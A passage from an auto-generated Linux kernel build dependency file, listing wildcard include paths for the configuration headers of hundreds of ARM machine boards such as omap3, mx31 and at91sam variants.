$(wildcard include/config/mach/ezx/a780.h) \
$(wildcard include/config/mach/ezx/e680.h) \
$(wildcard include/config/mach/ezx/a1200.h) \
$(wildcard include/config/mach/ezx/e6.h) \
$(wildcard include/config/mach/ezx/e2.h) \
$(wildcard include/config/mach/ezx/a910.h) \
$(wildcard include/config/mach/cwmx31.h) \
$(wildcard include/config/mach/sl2312.h) \
$(wildcard include/config/mach/blenny.h) \
$(wildcard include/config/mach/ds107.h) \
$(wildcard include/config/mach/dsx07.h) \
$(wildcard include/config/mach/picocom1.h) \
$(wildcard include/config/mach/lynx/wolverine.h) \
$(wildcard include/config/mach/ubisys/p9/sc19.h) \
$(wildcard include/config/mach/kratos/low.h) \
$(wildcard include/config/mach/m700.h) \
$(wildcard include/config/mach/edmini/v2.h) \
$(wildcard include/config/mach/zipit2.h) \
$(wildcard include/config/mach/hslfemtocell.h) \
$(wildcard include/config/mach/daintree/at91.h) \
$(wildcard include/config/mach/sg560usb.h) \
$(wildcard include/config/mach/omap3/pandora.h) \
$(wildcard include/config/mach/usr8200.h) \
$(wildcard include/config/mach/s1s65k.h) \
$(wildcard include/config/mach/s2s65a.h) \
$(wildcard include/config/mach/icore.h) \
$(wildcard include/config/mach/mss2.h) \
$(wildcard include/config/mach/belmont.h) \
$(wildcard include/config/mach/asusp525.h) \
$(wildcard include/config/mach/lb88rc8480.h) \
$(wildcard include/config/mach/hipxa.h) \
$(wildcard include/config/mach/mx25/3ds.h) \
$(wildcard include/config/mach/m800.h) \
$(wildcard include/config/mach/omap3530/lv/som.h) \
$(wildcard include/config/mach/prima/evb.h) \
$(wildcard include/config/mach/mx31bt1.h) \
$(wildcard include/config/mach/atlas4/evb.h) \
$(wildcard include/config/mach/mx31cicada.h) \
$(wildcard include/config/mach/mi424wr.h) \
$(wildcard include/config/mach/axs/ultrax.h) \
$(wildcard include/config/mach/at572d940deb.h) \
$(wildcard include/config/mach/davinci/da830/evm.h) \
$(wildcard include/config/mach/ep9302.h) \
$(wildcard include/config/mach/at572d940hfeb.h) \
$(wildcard include/config/mach/cybook3.h) \
$(wildcard include/config/mach/wdg002.h) \
$(wildcard include/config/mach/sg560adsl.h) \
$(wildcard include/config/mach/nextio/n2800/ica.h) \
$(wildcard include/config/mach/dove/db.h) \
$(wildcard include/config/mach/marvell/newdb.h) \
$(wildcard include/config/mach/vandihud.h) \
$(wildcard include/config/mach/magx/e8.h) \
$(wildcard include/config/mach/magx/z6.h) \
$(wildcard include/config/mach/magx/v8.h) \
$(wildcard include/config/mach/magx/u9.h) \
$(wildcard include/config/mach/toughcf08.h) \
$(wildcard include/config/mach/zw4400.h) \
$(wildcard include/config/mach/marat91.h) \
$(wildcard include/config/mach/overo.h) \
$(wildcard include/config/mach/at2440evb.h) \
$(wildcard include/config/mach/neocore926.h) \
$(wildcard include/config/mach/wnr854t.h) \
$(wildcard include/config/mach/imx27.h) \
$(wildcard include/config/mach/moose/db.h) \
$(wildcard include/config/mach/fab4.h) \
$(wildcard include/config/mach/htcdiamond.h) \
$(wildcard include/config/mach/fiona.h) \
$(wildcard include/config/mach/mxc30030/x.h) \
$(wildcard include/config/mach/bmp1000.h) \
$(wildcard include/config/mach/logi9200.h) \
$(wildcard include/config/mach/tqma31.h) \
$(wildcard include/config/mach/ccw9p9215js.h) \
$(wildcard include/config/mach/rd88f5181l/ge.h) \
$(wildcard include/config/mach/sifmain.h) \
$(wildcard include/config/mach/sam9/l9261.h) \
$(wildcard include/config/mach/cc9m2443.h) \
$(wildcard include/config/mach/xaria300.h) \
$(wildcard include/config/mach/it9200.h) \
$(wildcard include/config/mach/rd88f5181l/fxo.h) \
$(wildcard include/config/mach/kriss/sensor.h) \
$(wildcard include/config/mach/pilz/pmi5.h) \
$(wildcard include/config/mach/jade.h) \
$(wildcard include/config/mach/ks8695/softplc.h) \
$(wildcard include/config/mach/gprisc3.h) \
$(wildcard include/config/mach/stamp9g20.h) \
$(wildcard include/config/mach/smdk6430.h) \
$(wildcard include/config/mach/smdkc100.h) \
$(wildcard include/config/mach/tavorevb.h) \
$(wildcard include/config/mach/saar.h) \
$(wildcard include/config/mach/deister/eyecam.h) \
$(wildcard include/config/mach/at91sam9m10g45ek.h) \
$(wildcard include/config/mach/linkstation/produo.h) \
$(wildcard include/config/mach/hit/b0.h) \
$(wildcard include/config/mach/adx/rmu.h) \
$(wildcard include/config/mach/xg/cpe/main.h) \
$(wildcard include/config/mach/edb9407a.h) \
$(wildcard include/config/mach/dtb9608.h) \
$(wildcard include/config/mach/em104v1.h) \
$(wildcard include/config/mach/demo.h) \
$(wildcard include/config/mach/logi9260.h) \
$(wildcard include/config/mach/mx31/exm32.h) \
$(wildcard include/config/mach/usb/a9g20.h) \
$(wildcard include/config/mach/picproje2008.h) \
$(wildcard include/config/mach/cs/e9315.h) \
$(wildcard include/config/mach/qil/a9g20.h) \
$(wildcard include/config/mach/sha/pon020.h) \
$(wildcard include/config/mach/nad.h) \
$(wildcard include/config/mach/sbc35/a9260.h) \
$(wildcard include/config/mach/sbc35/a9g20.h) \
$(wildcard include/config/mach/davinci/beginning.h) \
$(wildcard include/config/mach/uwc.h) \
$(wildcard include/config/mach/mxlads.h) \
$(wildcard include/config/mach/htcnike.h) \
$(wildcard include/config/mach/deister/pxa270.h) \
$(wildcard include/config/mach/cme9210js.h) \
$(wildcard include/config/mach/cc9p9360.h) \
$(wildcard include/config/mach/mocha.h) \
$(wildcard include/config/mach/wapd170ag.h) \
$(wildcard include/config/mach/linkstation/mini.h) \
$(wildcard include/config/mach/afeb9260.h) \
$(wildcard include/config/mach/w90x900.h) \
$(wildcard include/config/mach/w90x700.h) \
$(wildcard include/config/mach/kt300ip.h) \
$(wildcard include/config/mach/kt300ip/g20.h) \
$(wildcard include/config/mach/srcm.h) \
$(wildcard include/config/mach/wlnx/9260.h) \
$(wildcard include/config/mach/openmoko/gta03.h) \
$(wildcard include/config/mach/osprey2.h) \
$(wildcard include/config/mach/kbio9260.h) \
$(wildcard include/config/mach/ginza.h) \
$(wildcard include/config/mach/a636n.h) \
$(wildcard include/config/mach/imx27ipcam.h) \
$(wildcard include/config/mach/nemoc.h) \
$(wildcard include/config/mach/geneva.h) \
$(wildcard include/config/mach/htcpharos.h) \
$(wildcard include/config/mach/neonc.h) \
$(wildcard include/config/mach/nas7100.h) \
$(wildcard include/config/mach/teuphone.h) \
$(wildcard include/config/mach/annax/eth2.h) \
$(wildcard include/config/mach/csb733.h) \
$(wildcard include/config/mach/bk3.h) \
$(wildcard include/config/mach/omap/em32.h) \
$(wildcard include/config/mach/et9261cp.h) \
$(wildcard include/config/mach/jasperc.h) \
$(wildcard include/config/mach/issi/arm9.h) \
$(wildcard include/config/mach/ued.h) \
$(wildcard include/config/mach/esiblade.h) \
$(wildcard include/config/mach/eye02.h) \
$(wildcard include/config/mach/imx27kbd.h) \
$(wildcard include/config/mach/sst61vc010/fpga.h) \
$(wildcard include/config/mach/kixvp435.h) \
$(wildcard include/config/mach/kixnp435.h) \
$(wildcard include/config/mach/africa.h) \
$(wildcard include/config/mach/nh233.h) \
$(wildcard include/config/mach/rd88f6183ap/ge.h) \
$(wildcard include/config/mach/bcm4760.h) \
$(wildcard include/config/mach/eddy/v2.h) \
$(wildcard include/config/mach/realview/pba8.h) \
$(wildcard include/config/mach/hid/a7.h) \
$(wildcard include/config/mach/hero.h) \
$(wildcard include/config/mach/omap/poseidon.h) \
$(wildcard include/config/mach/realview/pbx.h) \
$(wildcard include/config/mach/micro9s.h) \
$(wildcard include/config/mach/mako.h) \
$(wildcard include/config/mach/xdaflame.h) \
$(wildcard include/config/mach/phidget/sbc2.h) \
$(wildcard include/config/mach/limestone.h) \
$(wildcard include/config/mach/iprobe/c32.h) \
$(wildcard include/config/mach/rut100.h) \
$(wildcard include/config/mach/asusp535.h) \
$(wildcard include/config/mach/htcraphael.h) \
$(wildcard include/config/mach/sygdg1.h) \
$(wildcard include/config/mach/sygdg2.h) \
$(wildcard include/config/mach/seoul.h) \
$(wildcard include/config/mach/salerno.h) \
$(wildcard include/config/mach/ucn/s3c64xx.h) \
$(wildcard include/config/mach/msm7201a.h) \
$(wildcard include/config/mach/lpr1.h) \
$(wildcard include/config/mach/armadillo500fx.h) \
$(wildcard include/config/mach/g3evm.h) \
$(wildcard include/config/mach/z3/dm355.h) \
$(wildcard include/config/mach/w90p910evb.h) \
$(wildcard include/config/mach/w90p920evb.h) \
$(wildcard include/config/mach/w90p950evb.h) \
$(wildcard include/config/mach/w90n960evb.h) \
$(wildcard include/config/mach/camhd.h) \
$(wildcard include/config/mach/mvc100.h) \
$(wildcard include/config/mach/electrum/200.h) \
$(wildcard include/config/mach/htcjade.h) \
$(wildcard include/config/mach/memphis.h) \
$(wildcard include/config/mach/imx27sbc.h) \
$(wildcard include/config/mach/lextar.h) \
$(wildcard include/config/mach/mv88f6281gtw/ge.h) \
$(wildcard include/config/mach/ncp.h) \
$(wildcard include/config/mach/z32an.h) \
$(wildcard include/config/mach/tmq/capd.h) \
$(wildcard include/config/mach/omap3/wl.h) \
$(wildcard include/config/mach/chumby.h) \
$(wildcard include/config/mach/atsarm9.h) \
$(wildcard include/config/mach/davinci/dm365/evm.h) \
$(wildcard include/config/mach/bahamas.h) \
$(wildcard include/config/mach/das.h) \
$(wildcard include/config/mach/minidas.h) \
$(wildcard include/config/mach/vk1000.h) \
$(wildcard include/config/mach/centro.h) \
$(wildcard include/config/mach/ctera/2bay.h) \
$(wildcard include/config/mach/edgeconnect.h) \
$(wildcard include/config/mach/nd27000.h) \
$(wildcard include/config/mach/gemalto/cobra.h) \
$(wildcard include/config/mach/ingelabs/comet.h) \
$(wildcard include/config/mach/pollux/wiz.h) \
$(wildcard include/config/mach/blackstone.h) \
$(wildcard include/config/mach/topaz.h) \
$(wildcard include/config/mach/aixle.h) \
$(wildcard include/config/mach/mw998.h) \
$(wildcard include/config/mach/nokia/rx51.h) \
$(wildcard include/config/mach/vsc5605ev.h) \
$(wildcard include/config/mach/nt98700dk.h) \
$(wildcard include/config/mach/icontact.h) \
$(wildcard include/config/mach/swarco/frcpu.h) \
$(wildcard include/config/mach/swarco/scpu.h) \
$(wildcard include/config/mach/bbox/p16.h) \
$(wildcard include/config/mach/bstd.h) \
$(wildcard include/config/mach/sbc2440ii.h) \
$(wildcard include/config/mach/pcm034.h) \
$(wildcard include/config/mach/neso.h) \
$(wildcard include/config/mach/wlnx/9g20.h) \
$(wildcard include/config/mach/omap/zoom2.h) \
$(wildcard include/config/mach/totemnova.h) \
$(wildcard include/config/mach/c5000.h) \
$(wildcard include/config/mach/unipo/at91sam9263.h) \
$(wildcard include/config/mach/ethernut5.h) \
$(wildcard include/config/mach/arm11.h) \
$(wildcard include/config/mach/cpuat9260.h) \
$(wildcard include/config/mach/cpupxa255.h) \
$(wildcard include/config/mach/cpuimx27.h) \
$(wildcard include/config/mach/cheflux.h) \
$(wildcard include/config/mach/eb/cpux9k2.h) \
$(wildcard include/config/mach/opcotec.h) \
$(wildcard include/config/mach/yt.h) \
$(wildcard include/config/mach/motoq.h) \
$(wildcard include/config/mach/bsb1.h) \
$(wildcard include/config/mach/acs5k.h) \
$(wildcard include/config/mach/milan.h) \
$(wildcard include/config/mach/quartzv2.h) \
$(wildcard include/config/mach/rsvp.h) \
$(wildcard include/config/mach/rmp200.h) \
$(wildcard include/config/mach/snapper/9260.h) \
$(wildcard include/config/mach/dsm320.h) \
$(wildcard include/config/mach/adsgcm.h) \
$(wildcard include/config/mach/ase2/400.h) \
$(wildcard include/config/mach/pizza.h) \
$(wildcard include/config/mach/spot/ngpl.h) \
$(wildcard include/config/mach/armata.h) \
$(wildcard include/config/mach/exeda.h) \
$(wildcard include/config/mach/mx31sf005.h) \
$(wildcard include/config/mach/f5d8231/4/v2.h) \
$(wildcard include/config/mach/q2440.h) \
$(wildcard include/config/mach/qq2440.h) \
$(wildcard include/config/mach/mini2440.h) \
$(wildcard include/config/mach/colibri300.h) \
$(wildcard include/config/mach/jades.h) \
$(wildcard include/config/mach/spark.h) \
$(wildcard include/config/mach/benzina.h) \
$(wildcard include/config/mach/blaze.h) \
$(wildcard include/config/mach/linkstation/ls/hgl.h) \
$(wildcard include/config/mach/htcvenus.h) \
$(wildcard include/config/mach/sony/prs505.h) \
$(wildcard include/config/mach/hanlin/v3.h) \
$(wildcard include/config/mach/sapphira.h) \
$(wildcard include/config/mach/dack/sda/01.h) \
$(wildcard include/config/mach/armbox.h) \
$(wildcard include/config/mach/harris/rvp.h) \
$(wildcard include/config/mach/ribaldo.h) \
$(wildcard include/config/mach/agora.h) \
$(wildcard include/config/mach/omap3/mini.h) \
$(wildcard include/config/mach/a9sam6432/b.h) \
$(wildcard include/config/mach/usg2410.h) \
$(wildcard include/config/mach/pc72052/i10/revb.h) \
$(wildcard include/config/mach/mx35/exm32.h) \
$(wildcard include/config/mach/topas910.h) \
$(wildcard include/config/mach/hyena.h) \
$(wildcard include/config/mach/pospax.h) \
$(wildcard include/config/mach/hdl/gx.h) \
$(wildcard include/config/mach/ctera/4bay.h) \
$(wildcard include/config/mach/ctera/plug/c.h) \
$(wildcard include/config/mach/crwea/plug/i.h) \
$(wildcard include/config/mach/egauge2.h) \
$(wildcard include/config/mach/didj.h) \
$(wildcard include/config/mach/meister.h) \
$(wildcard include/config/mach/htcblackstone.h) \
$(wildcard include/config/mach/cpuat9g20.h) \
$(wildcard include/config/mach/smdk6440.h) \
$(wildcard include/config/mach/omap/35xx/mvp.h) \
$(wildcard include/config/mach/ctera/plug/i.h) \
$(wildcard include/config/mach/pvg610.h) \
$(wildcard include/config/mach/hprw6815.h) \
$(wildcard include/config/mach/omap3/oswald.h) \
$(wildcard include/config/mach/nas4220b.h) \
$(wildcard include/config/mach/htcraphael/cdma.h) \
$(wildcard include/config/mach/htcdiamond/cdma.h) \
$(wildcard include/config/mach/scaler.h) \
$(wildcard include/config/mach/zylonite2.h) \
$(wildcard include/config/mach/aspenite.h) \
$(wildcard include/config/mach/teton.h) \
$(wildcard include/config/mach/ttc/dkb.h) \
$(wildcard include/config/mach/bishop2.h) \
$(wildcard include/config/mach/ippv5.h) \
$(wildcard include/config/mach/farm926.h) \
$(wildcard include/config/mach/mmccpu.h) \
$(wildcard include/config/mach/sgmsfl.h) \
$(wildcard include/config/mach/tt8000.h) \
$(wildcard include/config/mach/zrn4300lp.h) \
$(wildcard include/config/mach/mptc.h) \
$(wildcard include/config/mach/h6051.h) \
$(wildcard include/config/mach/pvg610/101.h) \
$(wildcard include/config/mach/stamp9261/pc/evb.h) \
$(wildcard include/config/mach/pelco/odysseus.h) \
$(wildcard include/config/mach/tny/a9260.h) \
$(wildcard include/config/mach/tny/a9g20.h) \
$(wildcard include/config/mach/aesop/mp2530f.h) \
$(wildcard include/config/mach/dx900.h) \
$(wildcard include/config/mach/cpodc2.h) \
$(wildcard include/config/mach/tilt/8925.h) \
$(wildcard include/config/mach/davinci/dm357/evm.h) \
$(wildcard include/config/mach/swordfish.h) \
$(wildcard include/config/mach/corvus.h) \
$(wildcard include/config/mach/taurus.h) \
$(wildcard include/config/mach/axm.h) \
$(wildcard include/config/mach/axc.h) \
$(wildcard include/config/mach/baby.h) \
$(wildcard include/config/mach/mp200.h) \
$(wildcard include/config/mach/pcm043.h) \
$(wildcard include/config/mach/hanlin/v3c.h) \
$(wildcard include/config/mach/kbk9g20.h) \
$(wildcard include/config/mach/adsturbog5.h) \
$(wildcard include/config/mach/avenger/lite1.h) \
$(wildcard include/config/mach/suc.h) \
$(wildcard include/config/mach/at91sam7s256.h) \
$(wildcard include/config/mach/mendoza.h) \
$(wildcard include/config/mach/kira.h) \
$(wildcard include/config/mach/mx1hbm.h) \
$(wildcard include/config/mach/quatro43xx.h) \
$(wildcard include/config/mach/quatro4230.h) \
$(wildcard include/config/mach/nsb400.h) \
$(wildcard include/config/mach/drp255.h) \
$(wildcard include/config/mach/thoth.h) \
$(wildcard include/config/mach/firestone.h) \
$(wildcard include/config/mach/asusp750.h) \
$(wildcard include/config/mach/ctera/dl.h) \
$(wildcard include/config/mach/socr.h) \
$(wildcard include/config/mach/htcoxygen.h) \
$(wildcard include/config/mach/heroc.h) \
$(wildcard include/config/mach/zeno6800.h) \
$(wildcard include/config/mach/sc2mcs.h) \
$(wildcard include/config/mach/gene100.h) \
$(wildcard include/config/mach/as353x.h) \
$(wildcard include/config/mach/sheevaplug.h) \
$(wildcard include/config/mach/at91sam9g20.h) \
$(wildcard include/config/mach/mv88f6192gtw/fe.h) \
$(wildcard include/config/mach/cc9200.h) \
$(wildcard include/config/mach/sm9200.h) \
$(wildcard include/config/mach/tp9200.h) \
$(wildcard include/config/mach/snapperdv.h) \
$(wildcard include/config/mach/avengers/lite.h) \
$(wildcard include/config/mach/avengers/lite1.h) \
$(wildcard include/config/mach/omap3axon.h) \
$(wildcard include/config/mach/ma8xx.h) \
$(wildcard include/config/mach/mp201ek.h) \
$(wildcard include/config/mach/davinci/tux.h) \
$(wildcard include/config/mach/mpa1600.h) \
$(wildcard include/config/mach/pelco/troy.h) \
$(wildcard include/config/mach/nsb667.h) \
$(wildcard include/config/mach/rovers5/4mpix.h) \
$(wildcard include/config/mach/twocom.h) \
$(wildcard include/config/mach/ubisys/p9/rcu3r2.h) \
$(wildcard include/config/mach/hero/espresso.h) \
$(wildcard include/config/mach/afeusb.h) \
$(wildcard include/config/mach/t830.h) \
$(wildcard include/config/mach/spd8020/cc.h) \
$(wildcard include/config/mach/om/3d7k.h) \
$(wildcard include/config/mach/picocom2.h) \
$(wildcard include/config/mach/uwg4mx27.h) \
$(wildcard include/config/mach/uwg4mx31.h) \
$(wildcard include/config/mach/cherry.h) \
$(wildcard include/config/mach/mx51/babbage.h) \
$(wildcard include/config/mach/s3c2440turkiye.h) \
$(wildcard include/config/mach/tx37.h) \
$(wildcard include/config/mach/sbc2800/9g20.h) \
$(wildcard include/config/mach/benzglb.h) \
$(wildcard include/config/mach/benztd.h) \
$(wildcard include/config/mach/cartesio/plus.h) \
$(wildcard include/config/mach/solrad/g20.h) \
$(wildcard include/config/mach/mx27wallace.h) \
$(wildcard include/config/mach/fmzwebmodul.h) \
$(wildcard include/config/mach/rd78x00/masa.h) \
$(wildcard include/config/mach/smallogger.h) \
$(wildcard include/config/mach/ccw9p9215.h) \
$(wildcard include/config/mach/dm355/leopard.h) \
$(wildcard include/config/mach/ts219.h) \
$(wildcard include/config/mach/tny/a9263.h) \
$(wildcard include/config/mach/apollo.h) \
$(wildcard include/config/mach/at91cap9stk.h) \
$(wildcard include/config/mach/spc300.h) \
$(wildcard include/config/mach/eko.h) \
$(wildcard include/config/mach/ccw9m2443.h) \
$(wildcard include/config/mach/ccw9m2443js.h) \
$(wildcard include/config/mach/m2m/router/device.h) \
$(wildcard include/config/mach/star9104nas.h) \
$(wildcard include/config/mach/pca100.h) \
$(wildcard include/config/mach/z3/dm365/mod/01.h) \
$(wildcard include/config/mach/hipox.h) \
$(wildcard include/config/mach/omap3/piteds.h) \
$(wildcard include/config/mach/bm150r.h) \
$(wildcard include/config/mach/tbone.h) \
$(wildcard include/config/mach/merlin.h) \
$(wildcard include/config/mach/falcon.h) \
$(wildcard include/config/mach/davinci/da850/evm.h) \
$(wildcard include/config/mach/s5p6440.h) \
$(wildcard include/config/mach/at91sam9g10ek.h) \
$(wildcard include/config/mach/omap/4430sdp.h) \
$(wildcard include/config/mach/lpc313x.h) \
$(wildcard include/config/mach/magx/zn5.h) \
$(wildcard include/config/mach/magx/em30.h) \
$(wildcard include/config/mach/magx/ve66.h) \
$(wildcard include/config/mach/meesc.h) \
$(wildcard include/config/mach/otc570.h) \
$(wildcard include/config/mach/bcu2412.h) \
$(wildcard include/config/mach/beacon.h) \
$(wildcard include/config/mach/actia/tgw.h) \
$(wildcard include/config/mach/e4430.h) \
$(wildcard include/config/mach/ql300.h) \
$(wildcard include/config/mach/btmavb101.h) \
$(wildcard include/config/mach/btmawb101.h) \
$(wildcard include/config/mach/sq201.h) \
$(wildcard include/config/mach/quatro45xx.h) \
$(wildcard include/config/mach/openpad.h) \
$(wildcard include/config/mach/tx25.h) \
$(wildcard include/config/mach/omap3/torpedo.h) \
$(wildcard include/config/mach/htcraphael/k.h) \
$(wildcard include/config/mach/lal43.h) \
$(wildcard include/config/mach/htcraphael/cdma500.h) \
$(wildcard include/config/mach/anw6410.h) \
$(wildcard include/config/mach/htcprophet.h) \
$(wildcard include/config/mach/cfa/10022.h) \
$(wildcard include/config/mach/imx27/visstrim/m10.h) \
$(wildcard include/config/mach/px2imx27.h) \
$(wildcard include/config/mach/stm3210e/eval.h) \
$(wildcard include/config/mach/dvs10.h) \
$(wildcard include/config/mach/portuxg20.h) \
$(wildcard include/config/mach/arm/spv.h) \
$(wildcard include/config/mach/smdkc110.h) \
$(wildcard include/config/mach/cabespresso.h) \
$(wildcard include/config/mach/hmc800.h) \
$(wildcard include/config/mach/sholes.h) \
$(wildcard include/config/mach/btmxc31.h) \
$(wildcard include/config/mach/dt501.h) \
$(wildcard include/config/mach/ktx.h) \
$(wildcard include/config/mach/omap3517evm.h) \
$(wildcard include/config/mach/netspace/v2.h) \
$(wildcard include/config/mach/netspace/max/v2.h) \
$(wildcard include/config/mach/d2net/v2.h) \
$(wildcard include/config/mach/net2big/v2.h) \
$(wildcard include/config/mach/net4big/v2.h) \
$(wildcard include/config/mach/net5big/v2.h) \
$(wildcard include/config/mach/endb2443.h) \
$(wildcard include/config/mach/inetspace/v2.h) \
$(wildcard include/config/mach/tros.h) \
$(wildcard include/config/mach/pelco/homer.h) \
$(wildcard include/config/mach/ofsp8.h) \
$(wildcard include/config/mach/at91sam9g45ekes.h) \
$(wildcard include/config/mach/guf/cupid.h) \
$(wildcard include/config/mach/eab1r.h) \
$(wildcard include/config/mach/cordoba.h) \
$(wildcard include/config/mach/irvine.h) \
$(wildcard include/config/mach/sff772.h) \
$(wildcard include/config/mach/pelco/milano.h) \
$(wildcard include/config/mach/pc7302.h) \
$(wildcard include/config/mach/bip6000.h) \
$(wildcard include/config/mach/silvermoon.h) \
$(wildcard include/config/mach/vc0830.h) \
$(wildcard include/config/mach/dt430.h) \
$(wildcard include/config/mach/ji42pf.h) \
$(wildcard include/config/mach/gnet/ksm.h) \
$(wildcard include/config/mach/gnet/sgm.h) \
$(wildcard include/config/mach/gnet/sgr.h) \
$(wildcard include/config/mach/omap3/icetekevm.h) \
$(wildcard include/config/mach/pnp.h) \
$(wildcard include/config/mach/ctera/2bay/k.h) \
$(wildcard include/config/mach/ctera/2bay/u.h) \
$(wildcard include/config/mach/sas/c.h) \
$(wildcard include/config/mach/vma2315.h) \
$(wildcard include/config/mach/vcs.h) \
$(wildcard include/config/mach/spear600.h) \
$(wildcard include/config/mach/spear300.h) \
$(wildcard include/config/mach/spear1300.h) \
$(wildcard include/config/mach/lilly1131.h) \
$(wildcard include/config/mach/arvoo/ax301.h) \
$(wildcard include/config/mach/mapphone.h) \
$(wildcard include/config/mach/legend.h) \
$(wildcard include/config/mach/salsa.h) \
$(wildcard include/config/mach/lounge.h) \
$(wildcard include/config/mach/vision.h) \
$(wildcard include/config/mach/vmb20.h) \
$(wildcard include/config/mach/hy2410.h) \
$(wildcard include/config/mach/hy9315.h) \
$(wildcard include/config/mach/bullwinkle.h) \
$(wildcard include/config/mach/arm/ultimator2.h) \
$(wildcard include/config/mach/vs/v210.h) \
$(wildcard include/config/mach/vs/v212.h) \
$(wildcard include/config/mach/hmt.h) \
$(wildcard include/config/mach/suen3.h) \
$(wildcard include/config/mach/vesper.h) \
$(wildcard include/config/mach/str9.h) \
$(wildcard include/config/mach/omap3/wl/ff.h) \
$(wildcard include/config/mach/simcom.h) \
$(wildcard include/config/mach/mcwebio.h) \
$(wildcard include/config/mach/omap3/phrazer.h) \
$(wildcard include/config/mach/darwin.h) \
$(wildcard include/config/mach/oratiscomu.h) \
$(wildcard include/config/mach/rtsbc20.h) \
$(wildcard include/config/mach/i780.h) \
$(wildcard include/config/mach/gemini324.h) \
$(wildcard include/config/mach/oratislan.h) \
$(wildcard include/config/mach/oratisalog.h) \
$(wildcard include/config/mach/oratismadi.h) \
$(wildcard include/config/mach/oratisot16.h) \
$(wildcard include/config/mach/oratisdesk.h) \
$(wildcard include/config/mach/v2p/ca9.h) \
$(wildcard include/config/mach/sintexo.h) \
$(wildcard include/config/mach/cm3389.h) \
$(wildcard include/config/mach/omap3/cio.h) \
$(wildcard include/config/mach/sgh/i900.h) \
$(wildcard include/config/mach/bst100.h) \
$(wildcard include/config/mach/passion.h) \
$(wildcard include/config/mach/indesign/at91sam.h) \
$(wildcard include/config/mach/c4/badger.h) \
$(wildcard include/config/mach/c4/viper.h) \
$(wildcard include/config/mach/d2net.h) \
$(wildcard include/config/mach/bigdisk.h) \
$(wildcard include/config/mach/notalvision.h) \
$(wildcard include/config/mach/omap3/kboc.h) \
$(wildcard include/config/mach/cyclone.h) \
$(wildcard include/config/mach/ninja.h) \
$(wildcard include/config/mach/at91sam9g20ek/2mmc.h) \
$(wildcard include/config/mach/bcmring.h) \
$(wildcard include/config/mach/resol/dl2.h) \
$(wildcard include/config/mach/ifosw.h) \
$(wildcard include/config/mach/htcrhodium.h) \
$(wildcard include/config/mach/htctopaz.h) \
$(wildcard include/config/mach/matrix504.h) \
$(wildcard include/config/mach/mrfsa.h) \
$(wildcard include/config/mach/sc/p270.h) \
$(wildcard include/config/mach/atlas5/evb.h) \
$(wildcard include/config/mach/pelco/lobox.h) \
$(wildcard include/config/mach/dilax/pcu200.h) \
$(wildcard include/config/mach/leonardo.h) \
$(wildcard include/config/mach/zoran/approach7.h) \
$(wildcard include/config/mach/dp6xx.h) \
$(wildcard include/config/mach/bcm2153/vesper.h) \
$(wildcard include/config/mach/passionc.h) \
$(wildcard include/config/mach/clickc.h) \
$(wildcard include/config/mach/zb/gateway.h) \
$(wildcard include/config/mach/tazcard.h) \
$(wildcard include/config/mach/tazdev.h) \
$(wildcard include/config/mach/annax/cb/arm.h) \
$(wildcard include/config/mach/annax/dm3.h) \
$(wildcard include/config/mach/cerebric.h) \
$(wildcard include/config/mach/orca.h) \
$(wildcard include/config/mach/pc9260.h) \
$(wildcard include/config/mach/ems285a.h) \
$(wildcard include/config/mach/gec2410.h) \
$(wildcard include/config/mach/gec2440.h) \
$(wildcard include/config/mach/arch/mw903.h) \
$(wildcard include/config/mach/mw2440.h) \
$(wildcard include/config/mach/ecac2378.h) \
$(wildcard include/config/mach/tazkiosk.h) \
$(wildcard include/config/mach/whiterabbit/mch.h) \
$(wildcard include/config/mach/sbox9263.h) \
$(wildcard include/config/mach/oreo.h) \
$(wildcard include/config/mach/smdk6442.h) \
$(wildcard include/config/mach/openrd/base.h) \
$(wildcard include/config/mach/incredible.h) \
$(wildcard include/config/mach/incrediblec.h) \
$(wildcard include/config/mach/heroct.h) \
$(wildcard include/config/mach/mmnet1000.h) \
$(wildcard include/config/mach/devkit8000.h) \
$(wildcard include/config/mach/devkit9000.h) \
$(wildcard include/config/mach/mx31txtr.h) \
$(wildcard include/config/mach/u380.h) \
$(wildcard include/config/mach/hualu/board.h) \
$(wildcard include/config/mach/npcmx50.h) \
$(wildcard include/config/mach/mx51/lange51.h) \
$(wildcard include/config/mach/mx51/lange52.h) \
$(wildcard include/config/mach/riom.h) \
$(wildcard include/config/mach/comcas.h) \
$(wildcard include/config/mach/wsi/mx27.h) \
$(wildcard include/config/mach/cm/t35.h) \
$(wildcard include/config/mach/net2big.h) \
$(wildcard include/config/mach/motorola/a1600.h) \
$(wildcard include/config/mach/igep0020.h) \
$(wildcard include/config/mach/igep0010.h) \
$(wildcard include/config/mach/mv6281gtwge2.h) \
$(wildcard include/config/mach/scat100.h) \
$(wildcard include/config/mach/sanmina.h) \
$(wildcard include/config/mach/momento.h) \
$(wildcard include/config/mach/nuc9xx.h) \
$(wildcard include/config/mach/nuc910evb.h) \
$(wildcard include/config/mach/nuc920evb.h) \
$(wildcard include/config/mach/nuc950evb.h) \
$(wildcard include/config/mach/nuc945evb.h) \
$(wildcard include/config/mach/nuc960evb.h) \
$(wildcard include/config/mach/nuc932evb.h) \
$(wildcard include/config/mach/nuc900.h) \
$(wildcard include/config/mach/sd1soc.h) \
$(wildcard include/config/mach/ln2440bc.h) \
$(wildcard include/config/mach/rsbc.h) \
$(wildcard include/config/mach/openrd/client.h) \
$(wildcard include/config/mach/hpipaq11x.h) \
$(wildcard include/config/mach/wayland.h) \
$(wildcard include/config/mach/acnbsx102.h) \
$(wildcard include/config/mach/hwat91.h) \
$(wildcard include/config/mach/at91sam9263cs.h) \
$(wildcard include/config/mach/csb732.h) \
$(wildcard include/config/mach/u8500.h) \
$(wildcard include/config/mach/huqiu.h) \
$(wildcard include/config/mach/mx51/kunlun.h) \
$(wildcard include/config/mach/pmt1g.h) \
$(wildcard include/config/mach/htcelf.h) \
$(wildcard include/config/mach/armadillo420.h) \
$(wildcard include/config/mach/armadillo440.h) \
$(wildcard include/config/mach/u/chip/dual/arm.h) \
$(wildcard include/config/mach/csr/bdb3.h) \
$(wildcard include/config/mach/dolby/cat1018.h) \
$(wildcard include/config/mach/hy9307.h) \
$(wildcard include/config/mach/a/es.h) \
$(wildcard include/config/mach/davinci/irif.h) \
$(wildcard include/config/mach/agama9263.h) \
$(wildcard include/config/mach/marvell/jasper.h) \
$(wildcard include/config/mach/flint.h) \
$(wildcard include/config/mach/tavorevb3.h) \
$(wildcard include/config/mach/sch/m490.h) \
$(wildcard include/config/mach/rbl01.h) \
$(wildcard include/config/mach/omnifi.h) \
$(wildcard include/config/mach/otavalo.h) \
$(wildcard include/config/mach/sienna.h) \
$(wildcard include/config/mach/htc/excalibur/s620.h) \
